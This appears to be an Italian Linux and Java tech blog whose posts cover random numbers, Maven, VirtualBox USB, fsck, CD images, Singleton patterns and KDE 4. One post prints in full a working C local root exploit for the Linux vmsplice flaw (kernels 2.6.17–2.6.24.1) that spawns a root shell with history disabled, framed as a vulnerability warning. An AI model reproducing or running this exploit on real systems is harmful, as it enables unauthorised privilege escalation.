IppatsuBlog

Daniel Dyer sta pubblicando sul suo blog una serie di articoli dedicati alla generazione di numeri casuali con Java. Tutti i programmatori Java prima o poi utilizzano la classe java.util.Random, che però va bene solo per semplici casi: necessità di una distribuzione uniforme e nessun requisito di sicurezza.

Per la crittografia usare java.util.Random è un peccato mortale: la classe da utilizzare in questo caso è java.security.SecureRandom. Per verificare quanto siano poco casuali i bit generati da java.util.Random fate riferimento a questa pagina: http://www.alife.co.uk/nonrandom/index.html.

Dyer coglie l’occasione per fare “pubblicità” al suo progetto opensource uncommons-maths, rilasciato sotto licenza Apache, che utilizza diversi motori casuali (Marsenne Twister, un generatore basato sugli automi cellulari che piacerebbe a Stephen Wolfram e un generatore basato su AES) e può generare numeri secondo diverse distribuzioni: uniforme, gaussiana, di Poisson, binomiale e esponenziale. È disponibile un demo che mostra in modo sensibile le diverse distribuzioni, basta eseguire sul proprio terminale preferito:

javaws https://uncommons-maths.dev.java.net/demo/demo.jnlp

Gli articoli pubblicati da mentre scrivo sono i seguenti:

• A Java Programmer’s Guide to Random Numbers, Part 1: Beyond java.util.Random
• A Java Programmer’s Guide to Random Numbers, Part 2: Not just coins and dice

Nei prossimi post della serie Dyer parlerà dei gradi di libertà nel mischiare un mazzo di carte e dei problemi da gestire quando si usano numeri casuali nella crittografia.

Nel suo profilo su LinkedIn Dyer scrive di avere esperienza nella programmazione di giochi online relativi a giochi d’azzardo: nessuna meraviglia che sia interessato alla generazione efficiente di numeri casuali (gli algoritmi random utilizzati da un programma che simuli la roulette può essere perfettamente corretto e “fair”: sono le regole del gioco a far sì che alla fine della giornata il vincitore sia sempre il banco).

Maven è un strumento molto utilizzato per gestire il ciclo di vita delle applicazioni sviluppate in Java. Per compilare tutti i sorgenti è sufficiente lanciare il comando:

mvn compile

Una cosa che all’inizio dell’uso di Maven mi era sembrata sorprendentemente ardua era creare un unico .jar contenente tutte le dipendenze necessarie per l’esecuzione del programma. La soluzione è molto semplice. Aprite il pom.xml del vostro progetto e aggiungete il maven-assembly-plugin:

    <build>
        <plugins>

            ...

            <plugin>
                <artifactId>maven-assembly-plugin</artifactId>
                <configuration>
                    <descriptorRefs>
                        <descriptorRef>
                            jar-with-dependencies
                        </descriptorRef>
                    </descriptorRefs>
                    <archive>
                        <manifest>
                            <mainClass>
                                com.application.MainClass
                            </mainClass>
                        </manifest>
                    </archive>
                </configuration>
            </plugin>

            ...

        </plugins>
    </build>

Sostituite com.application.MainClass con il nome della classe contenente il main (compreso il package) e salvate il pom. Per generare il file jar eseguite:

mvn assembly:assembly

Usando VirtualBox su host Linux può accadere che il sistema operativo guest non possa accedere alle porte USB. Il problema è segnalato dal fatto che accedendo ai settings di una macchina virtuale VirtualBox mostri un messaggio di questo tipo:

Could not load the Host USB Proxy Service (VERR_FILE_NOT_FOUND).
The service might be not installed on the host computer.
Result Code: 0x80004005
Component: Host
Interface: IHost {81729c26-1aec-46f5-b7c0-cc7364738fdb}
Callee: IMachine {31f7169f-14da-4c55-8cb6-a3665186e35e}

Il problema è dovuto al fatto che VirtualBox non riesce a accedere all’USB filesystem (usbfs).

Supponiamo che il gruppo di utenti abilitati all’uso di VirtualBox sia vboxusers (nome di default). Per risolvere il problema aprite un terminale e eseguite questo comando:

cat /etc/group | grep vboxusers | cut -d: -f3

Attenzione: se sul vostro sistema il gruppo degli utenti che possono usare VirtualBox si chiama diversamente, dovrete specificarlo al posto di "vboxusers".

Vi verrà restituito un numero, ad esempio 1001 (se non vi viene restituito alcun valore la vostra installazione di VirtualBox è corrotta, oppure il gruppo degli utenti sul vostro sistema non si chiama vboxusers).

Aprite il file /etc/fstab con il vostro editor di testo preferito da root. Per GNOME su Ubuntu:

gksu gedit /etc/fstab

oppure per KDE (su Kubuntu!):

kdesu kate /etc/fstab

E aggiungete in coda al file questa riga:

none /proc/bus/usb usbfs devgid=1001,devmode=664 0 0

Salvate le modifiche e eseguite:

mount -a

In questo modo VirtualBox potrà accedere alle informazioni sulle periferiche USB e permetterà di utilizzarle all’interno dei sistemi operativi ospiti. Chiudete VirtualBox (se era aperto) e apritelo: potrete ora gestire le periferiche USB.

Di default (K)Ubuntu esegue un controllo del filesystem con fsck ogni 27 volte che viene montato, oppure ogni 3 mesi, qualunque sia il limite raggiunto prima. Ogni tanto però si può voler forzare un controllo del filesystem al riavvio. Per farlo su (K)Ubuntu eseguite questo comando:

sudo touch /forcefsck

Sì, tutto qui. Al riavvio verrà eseguito fsck. Su alcuni sistemi (ma non ad esempio su Ubuntu dalla versione 6.10 Edgy Eft in poi) si può invece usare questo comando:

sudo shutdown -rF now

Che riavvierà il computer e forzerà l’esecuzione di fsck. (Il motivo tecnico per cui non è applicabile alle release recenti di Ubuntu è che dalla 6.10 il sistema di init è passato da sysvinit a upstart, che attualmente non supporta l’utilizzo di shutdown -rF)

“Rippare” le tracce da un cd audio e trasformarle in MP3 è incredibilmente facile con Kubuntu/KDE. Per farlo installate il pacchetto lame. Come farlo dipende dalla vostra distribuzione, su Kubuntu è sufficiente eseguire sudo aptitude install lame.A questo punto è già tutto pronto: aprite Konqueror o Dolphin e andate all’indirizzo audiocd:/: troverete l’elenco delle canzoni, che potreste già copiare come WAV. Inoltre ci sarà una cartella “virtuale” di nome MP3: apritela e troverete le tracce in formato MP3: copiatele come fossero dei normali file nella cartella che preferite sul vostro pc.
Quello che accade è che KDE si occupa di estrarre al volo le tracce e convertirle in MP3. Se volete invece convertirle in formato Ogg usate la cartella Ogg.
Se volete cambiare le impostazioni dell’encoder MP3, per impostare il bitrate, passare da Stereo a Joint Stereo, usare il VBR o quant’altro, premete ALT+F2 e avviate kcontrol, dalla voce “Sound & Multimedia” selezionate “Audio CDs” e cambiate le impostazioni che preferite nella linguetta “MP3 Encoder”. Et voilà!

Il kernel di Linux fino alla versione 2.6.24.1 è vulnerabile a un exploit locale che permette a un utente normale di ottenere i privilegi di root. Il codice dell’exploit è il seguente:

/*
 * Linux vmsplice Local Root Exploit
 * By qaaz
 *
 * Linux 2.6.17 - 2.6.24.1
 *
 * (compile fixed by nenolod.)
 */

#define _GNU_SOURCE
#include <stdio.h>
#include <errno.h>
#include <stdlib.h>
#include <string.h>
#include <malloc.h>
#include <limits.h>
#include <signal.h>
#include <unistd.h>
#include <sys/uio.h>
#include <sys/mman.h>
#include <asm/page.h>
#define __KERNEL__
#include <asm/unistd.h>

#define PIPE_BUFFERS	16
#define PG_compound	14
#define uint		unsigned int
#define static_inline	static inline __attribute__((always_inline))
#define STACK(x)	(x + sizeof(x) - 40)

struct page {
	unsigned long flags;
	int count;
	int mapcount;
	unsigned long private;
	void *mapping;
	unsigned long index;
	struct { long next, prev; } lru;
};

void	exit_code();
char	exit_stack[1024 * 1024];

void	die(char *msg, int err)
{
	printf(err ? "[-] %s: %s\n" : "[-] %s\n", msg, strerror(err));
	fflush(stdout);
	fflush(stderr);
	exit(1);
}

#if defined (__i386__)

#ifndef __NR_vmsplice
#define __NR_vmsplice	316
#endif

#define USER_CS		0x73
#define USER_SS		0x7b
#define USER_FL		0x246

static_inline
void	exit_kernel()
{
	__asm__ __volatile__ (
	"movl %0, 0x10(%%esp) ;"
	"movl %1, 0x0c(%%esp) ;"
	"movl %2, 0x08(%%esp) ;"
	"movl %3, 0x04(%%esp) ;"
	"movl %4, 0x00(%%esp) ;"
	"iret"
	: : "i" (USER_SS), "r" (STACK(exit_stack)), "i" (USER_FL),
	    "i" (USER_CS), "r" (exit_code)
	);
}

static_inline
void *	get_current()
{
	unsigned long curr;
	__asm__ __volatile__ (
	"movl %%esp, %%eax ;"
	"andl %1, %%eax ;"
	"movl (%%eax), %0"
	: "=r" (curr)
	: "i" (~8191)
	);
	return (void *) curr;
}

#elif defined (__x86_64__)

#ifndef __NR_vmsplice
#define __NR_vmsplice	278
#endif

#define USER_CS		0x23
#define USER_SS		0x2b
#define USER_FL		0x246

static_inline
void	exit_kernel()
{
	__asm__ __volatile__ (
	"swapgs ;"
	"movq %0, 0x20(%%rsp) ;"
	"movq %1, 0x18(%%rsp) ;"
	"movq %2, 0x10(%%rsp) ;"
	"movq %3, 0x08(%%rsp) ;"
	"movq %4, 0x00(%%rsp) ;"
	"iretq"
	: : "i" (USER_SS), "r" (STACK(exit_stack)), "i" (USER_FL),
	    "i" (USER_CS), "r" (exit_code)
	);
}

static_inline
void *	get_current()
{
	unsigned long curr;
	__asm__ __volatile__ (
	"movq %%gs:(0), %0"
	: "=r" (curr)
	);
	return (void *) curr;
}

#else
#error "unsupported arch"
#endif

#if defined (_syscall4)
#define __NR__vmsplice	__NR_vmsplice
_syscall4(
	long, _vmsplice,
	int, fd,
	struct iovec *, iov,
	unsigned long, nr_segs,
	unsigned int, flags)

#else
#define _vmsplice(fd,io,nr,fl)	syscall(__NR_vmsplice, (fd), (io), (nr), (fl))
#endif

static uint uid, gid;

void	kernel_code()
{
	int	i;
	uint	*p = get_current();

	for (i = 0; i < 1024-13; i++) {
		if (p[0] == uid && p[1] == uid &&
		    p[2] == uid && p[3] == uid &&
		    p[4] == gid && p[5] == gid &&
		    p[6] == gid && p[7] == gid) {
			p[0] = p[1] = p[2] = p[3] = 0;
			p[4] = p[5] = p[6] = p[7] = 0;
			p = (uint * ) ((char *)(p + 8 ) + sizeof(void *));
			p[0] = p[1] = p[2] = ~0;
			break;
		}
		p++;
	}	

	exit_kernel();
}

void	exit_code()
{
	if (getuid() != 0)
		die("wtf", 0);

	printf("[+] root\n");
	putenv("HISTFILE=/dev/null");
	execl("/bin/bash", "bash", "-i", NULL);
	die("/bin/bash", errno);
}

int	main(int argc, char *argv[])
{
	int		pi[2];
	size_t		map_size;
	char *		map_addr;
	struct iovec	iov;
	struct page *	pages[5];

	uid = getuid();
	gid = getgid();
	setresuid(uid, uid, uid);
	setresgid(gid, gid, gid);

	printf("-----------------------------------\n");
	printf(" Linux vmsplice Local Root Exploit\n");
	printf(" By qaaz\n");
	printf("-----------------------------------\n");

	if (!uid || !gid)
		die("!@#$", 0);

	/*****/
	pages[0] = *(void **) &(int[2]){0,PAGE_SIZE};
	pages[1] = pages[0] + 1;

	map_size = PAGE_SIZE;
	map_addr = mmap(pages[0], map_size, PROT_READ | PROT_WRITE,
	                MAP_FIXED | MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
	if (map_addr == MAP_FAILED)
		die("mmap", errno);

	memset(map_addr, 0, map_size);
	printf("[+] mmap: 0x%lx .. 0x%lx\n", map_addr, map_addr + map_size);
	printf("[+] page: 0x%lx\n", pages[0]);
	printf("[+] page: 0x%lx\n", pages[1]);

	pages[0]->flags    = 1 << PG_compound;
	pages[0]->private  = (unsigned long) pages[0];
	pages[0]->count    = 1;
	pages[1]->lru.next = (long) kernel_code;

	/*****/
	pages[2] = *(void **) pages[0];
	pages[3] = pages[2] + 1;

	map_size = PAGE_SIZE;
	map_addr = mmap(pages[2], map_size, PROT_READ | PROT_WRITE,
	                MAP_FIXED | MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
	if (map_addr == MAP_FAILED)
		die("mmap", errno);

	memset(map_addr, 0, map_size);
	printf("[+] mmap: 0x%lx .. 0x%lx\n", map_addr, map_addr + map_size);
	printf("[+] page: 0x%lx\n", pages[2]);
	printf("[+] page: 0x%lx\n", pages[3]);

	pages[2]->flags    = 1 << PG_compound;
	pages[2]->private  = (unsigned long) pages[2];
	pages[2]->count    = 1;
	pages[3]->lru.next = (long) kernel_code;

	/*****/
	pages[4] = *(void **) &(int[2]){PAGE_SIZE,0};
	map_size = PAGE_SIZE;
	map_addr = mmap(pages[4], map_size, PROT_READ | PROT_WRITE,
	                MAP_FIXED | MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
	if (map_addr == MAP_FAILED)
		die("mmap", errno);
	memset(map_addr, 0, map_size);
	printf("[+] mmap: 0x%lx .. 0x%lx\n", map_addr, map_addr + map_size);
	printf("[+] page: 0x%lx\n", pages[4]);

	/*****/
	map_size = (PIPE_BUFFERS * 3 + 2) * PAGE_SIZE;
	map_addr = mmap(NULL, map_size, PROT_READ | PROT_WRITE,
	                MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
	if (map_addr == MAP_FAILED)
		die("mmap", errno);

	memset(map_addr, 0, map_size);
	printf("[+] mmap: 0x%lx .. 0x%lx\n", map_addr, map_addr + map_size);

	/*****/
	map_size -= 2 * PAGE_SIZE;
	if (munmap(map_addr + map_size, PAGE_SIZE) < 0)
		die("munmap", errno);

	/*****/
	if (pipe(pi) < 0) die("pipe", errno);
	close(pi[0]);

	iov.iov_base = map_addr;
	iov.iov_len  = ULONG_MAX;

	signal(SIGPIPE, exit_code);
	_vmsplice(pi[1], &iov, 1, 0);
	die("vmsplice", errno);
	return 0;
}

// milw0rm.com [2008-02-09]

La prima versione non vulnerabile è la 2.6.24-git20, il che vuol dire che tutte le versioni di (K)Ubuntu sono vulnerabili, inclusa l’LTS 6.06 Dapper Drake e Gutsy Gibbon 7.10. Ci si aspetta a giorni un update che elimini questo pericoloso bug.

Non ho fatto in tempo a scrivere il post precedente quando è saltato fuori che l’immagine che dovevo montare non era .cue/.bin ma .ccd/.img/.sub , il formato utilizzato da CloneCD. Per convertire l’immagine in .iso ci viene in soccorso il programma ccd2iso, che potete scaricare da qui: http://downloads.sourceforge.net/ccd2iso/ccd2iso-0.3.tar.gz.

Installate il compilatore e le librerie eseguendo:

sudo aptitude install build-essential

Scompattate il file appena scaricato, eseguite il configure, compilatelo e installatelo:

tar xvf ccd2iso-0.3.tar.gz
cd ccd2iso-0.3
./configure
make
sudo make install

Adesso potrete usare il comand ccd2iso. Per convertire l’immagine image.img in .iso eseguite:

ccd2iso image.img image.iso

Dopo un po’ l’immagine image.iso sarà pronta, e potrete montarla (supponendo che la cartella /mnt/virtcd esista già):

sudo mount -t iso9660 -o loop image.iso /mount/virtcd

Oggi avevo bisogno di montare su Kubuntu l’immagine di un cd. Purtroppo l’immagine non era nel classico formato .iso, ma in formato .bin con allegato .cue. Non avendo voglia di installare cdemu o AcetoneISO, mi sono attrezzato per convertire l’immagine .bin/.cue in una più classica .iso. Il programma in questione è bchunk, un vecchio programma che fa ancora egregiamente il suo lavoro. Per installarlo (su Ubuntu, Kubuntu e tutte le derivate Debian) eseguite:

sudo aptitude install bchunk

per le altre distribuzioni (Mandriva, Fedora, Gentoo) usate i tool più opportuni (yum, emerge, …).
Supponendo di voler convertire i file image.bin e image.cue in image.iso, eseguite questo comando:

bchunk image.bin image.cue image.iso

e così verrà creata l’immagine iso equivalente. Per montare l’immagine ad esempio nella cartella /mount/virtcd (che deve già esistere) eseguite:

sudo mount -t iso9660 -o loop image.iso /mount/virtcd

L’iso sarà montata e utilizzabile come una normale cartella.

Un pattern usatissimo (e soprattutto abusatissimo) nei linguaggi object oriented è il pattern Singleton, il quale in breve viene utilizzato quando si vuole essere sicuri che di una certa classe esista un’unica istanza. Lasciando da parte le discussioni sul perché sarebbe bene limitare al massimo l’uso di questo pattern, sul come sia sbagliato usarlo per raggruppare un insieme di funzioni “utility” e così via, occupiamoci della sua implementazione. Il metodo più ingenuo per implementarlo è il seguente:

// Implementazione lazy non thread safe
public class MySingleton {
  private static MySingleton instance;

  private MySingleton() {}

  public static MySingleton getInstance() {
    if (instance==null) {
      instance = new MySingleton();
    }
    return instance;
  }
}

Questa implementazione va benissimo finché l’applicazione è formata rigorosamente da un singolo thread. Nel caso in cui più thread possano richiamare il metodo getInstance() c’è una race condition: potrebbero entrambi superare il test dell’if e ottenere due istanze diverse della classe MySingleton.

La prima idea che viene per risolvere il problema è:

// Implementazione lazy corretta ma lenta
public class MySingleton {
  private static MySingleton instance;

  private MySingleton() {}

  public synchronized MySingleton getInstance() {
    if (instance==null) {
      instance = new MySingleton();
    }
    return instance;
  }
}

Questa implementazione è effetivamente thread safe, ma rende il metodo getInstance() sincronizzato, il che ha un certo impatto prestazionale, per cui sarebbe preferibile evitarla. C’è una soluzione semplice che però manca in laziness:

// Implementazione corretta non lazy
public class MySingleton {
  private final static MySingleton instance = new MySingleton();

  private MySingleton() {}

  public static MySingleton getInstance() {
    return instance;
  }
}

Questo codice è thread safe senza usare alcun costrutto particolare del linguaggio. L’unica sua pecca è che il riferimento all’istanza è inizializzato staticamente, per cui potrebbe istanziato anche molto prima della chiamata a getInstance() (basterebbe una chiamata a qualunque metodo statico di MySingleton per istanziarlo). Se nel programma considerato non interessa la laziness, questa può essere una buona soluzione, che ha anche il pregio di funzionare su tutte le versioni della JVM.

C’è una soluzione lazy apparentemente corretta detta double checked locking, molto in voga in passato, che però ha un subdolo bug che di fatto la rende thread unsafe:

// Implementazione non thread safe
public class MySingleton {
  private static MySingleton instance;

  private MySingleton() {}

  public static MySingleton getInstance() {
    if (instance==null) {
      synchronized(MySingleton.class) {
        if (instance==null) {
          instance = new MySingleton();
        }
      }
    return instance;
  }
}

Supponiamo di avere due thread, thread1 e thread2 che richiamano il metodogetInstance(): thread1 passa il test per entrambi gliif e inizia l’istanziazione di MySingleton, a questo punto thread2 esegue il primo if. Poiché non è entrato nella sezione sincronizzata non c’è una relazione “happens before” tra i due thread, e il comportamento del codice non è definito: thread1 potrebbe ricevere una istanza corretta, una non correttamente inizializzata o null (e istanzierebbe dunque un altro oggetto MySingleton, e il pattern è distrutto).

Con Java 5 è stato formalizzato il modello di memoria di Java, e è possibile modificare il codice precedente in modo che sia corretto anche se richiamato da più thread:

// Implementazione lazy thread safe *solo* per Java 5 e successivi
public class MySingleton {
  private volatile static MySingleton instance;

  private MySingleton() {}

  public static MySingleton getInstance() {
    if (instance==null) {
      synchronized(MySingleton.class) {
        if (instance==null) {
          instance = new MySingleton();
        }
      }
    return instance;
  }
}

La differenza è nella keyword volatile davanti alla variabile instance. Dichiarare una istanza come volatile significa che un aggiornamento della variabile stabilisce una relazione “happens before”. In un certo senso è come se i lettori e gli scrittori della variabile utilizzassero blocchi sincronizzati per cui il lettore ha la garanzia di vedere il valore correttamente aggiornato dallo scrittore.

Questo tipo di double checked locking è thread safe e probabilmente più veloce della versione che utilizza il metodo dichiarato come synchronized, anche se la differenza è probabilmente molto piccola. Questa versione non è garantito che funzioni correttamente con versioni di Java dalla 1.4 e precedenti (questo perché il memory model è stato formalizzato con Java 5), mentre è garantito funzionante dalla versione 5 in poi. Inoltre le variabili volatile danno delle penalizzazioni prestazionali su sistemi multi-CPU paragonabili a quelli della sincronizzazione.

Esiste una versione ancora più elegante, lazy, thread safe e funzionante su tutte le versioni di Java ideata da William Pugh:

// Implementazione lazy thread safe
public class MySingleton {
  private MySingleton() {}

  private static class MySingletonHolder {
    private final static MySingleton instance = new MySingleton();
  }

  public static MySingleton getInstance() {
    return MySingletonHolder.instance;
  }
}

Il “trucco” è nel fatto che la classe interna MySingletonHolder viene caricata dal class loader la prima volta che c’e n’è bisogno, vale a dire quando viene usata dal metodo getInstance(), per cui questo codice è thread safe senza usare costrutti particolari, è lazy perché non anticipa l’istanziazione del singleton e funziona su tutte le versioni di Java.

Il singleton è un pattern molto semplice, ma è sorprendentemente poco intuitivo realizzarne una implementazione corretta. A questo proposito Jon Bentley in Programming Pearls ricorda come la prima descrizione dell’algoritmo di ricerca binario (il binary search) sia stata pubblicata nel 1946, ma la sua prima implementazione corretta solo nel 1962. Come scriveva Donald Knuth:

Beware of bugs in the above code; I have only proved it correct, not tried it.

Al Google Campus di Mountain View in California si sta svolgendo in queste ore il release event di KDE 4.0.
Particolarmente interessante è la presentazione di Aaron Seigo, benevolente dittatore di KDE, dove vengono presentate le tecnologie e i framework che costituiscono la struttura fondante di KDE 4 e ne permetterano, si spera, un ottimo sviluppo. Il ciclo di vita di KDE 4 è previsto essere lungo come quello di KDE 2 e KDE 3 sommati, per cui è prioritario avere delle solide basi che permettano a KDE di evolvere in modo robusto nel tempo. I componenti presentati sono:

Oxygen

Non si tratta propriamente di una tecnologia, ma è l’appeal grafico di KDE. Il progetto Oxygen si è occupato di ridisegnare completamente le icone di KDE (alcune migliaia), ridisegnare il look & feel delle finestre e di creare un nuovo tema di suoni per KDE 4.

È ciò che dovrebbe attirare frotte di sviluppatori su KDE 4 È un layer trasparente che permette di accedere alle funzionalità di KDE e delle applicazioni che lo supportanto con qualunque linguaggio di scripting. Attualmente sono supportati “out of the box” ruby, python e javascript. Sono in corso i lavori su krossjava, che permetterà anche l’utilizzo di Java. Se ad esempio una azienda usa molto python e KOffice è possibile esportare degli oggetti da un documento di KOffice e manipolarli in python.

La presentazione di Seigo è continua con un piccolo demo del funzionamento Dolphin, il nuovo file manager e il funzionamento di base di KDE su Mac.

Seigo ha anche descritto le nuove possibilità che si aprono per KDE grazie al supporto per più sistemi operativi: da un lato sicuramente attirare più utenti e sviluppatori grazie alla possibilità di sviluppare facilmente programmi non platform dependent, dall’altro quello ad esempio di standardizzare il supporto tecnico nelle aziende. Seigo spiega come sia possibile per una azienda scegliere di supportare Kontact come applicazione per le email, scegliere un server che supporti un qualunque protocollo aperto (non Exchange) e lasciare scelta agli utenti della piattaforma su cui utilizzarlo (Linux, Windows, BSD, Mac, OpenSolaris).

Infine viene presentata la comodità di utilizzare SVG per rappresentare la grafica in modo indipendente dalla risoluzione e una piccola demo di Marble, un componente simile a Google Earth, che in futuro userà il progetto Open Street Map per rappresentare le strade.

KDE 4 si presenta con un insieme di framework portabili e flessibili, sta ora agli sviluppatori e agli utenti trovare modi per farli interagire in modo utile. Il messaggio che ha cercato di veicolare Aaron Seigo è il secondo motto di KDE 4 (il primo è “Be free”): “the start of something amazing”. KDE 4 probabilmente non è ancora maturo, ma è la piattaforma su cui ci saranno, si spera, grandi sviluppi.